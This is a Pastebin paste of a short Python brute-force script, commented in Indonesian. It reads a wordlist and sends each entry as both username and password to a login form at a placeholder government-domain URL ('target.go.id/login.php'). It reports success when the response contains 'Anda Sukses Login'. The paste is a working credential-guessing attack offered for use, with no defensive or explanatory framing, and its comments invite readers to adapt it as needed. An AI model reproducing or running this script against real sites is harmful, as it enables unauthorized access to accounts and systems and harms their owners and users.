Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # SIMPEL Nge-Brute liontin
- # Tambahkan saja Sesuai keperluan
- import requests
- import sys
- import colorama
- from colorama import Fore, Back, Style
- colorama.init()
- url = 'http://target.go.id/login.php' #target
- brute = open('wordlist.txt','r').readlines() #lokasi wordlist
- for line in brute:
- username = line.strip()
- password = line.strip()
- http = requests.post(url, data={'username':username,'password':password,'login':'submit'}) # post parameter
- content = http.content
- if "Anda Sukses Login" in content:
- print(Back.GREEN+ "SUKSES" + Style.RESET_ALL)
- print(Back.BLACK +"username: "+Fore.GREEN+""+username+"" + Style.RESET_ALL)
- print(Fore.GREEN +"password: "+Fore.WHITE+" "+password+"" + Style.RESET_ALL )
- sys.stdout.write('\n')
- sys.stdout.flush()
- else:
- print(Back.CYAN + "GAGAL" + Style.RESET_ALL)
- print(Back.BLACK + "username: "+Fore.CYAN+""+username+"" + Style.RESET_ALL)
- print(Fore.CYAN + "password: "+Fore.WHITE+""+password+"" + Style.RESET_ALL)
- sys.stdout.write('\n')
- sys.stdout.flush()
Add Comment
Please, Sign In to add comment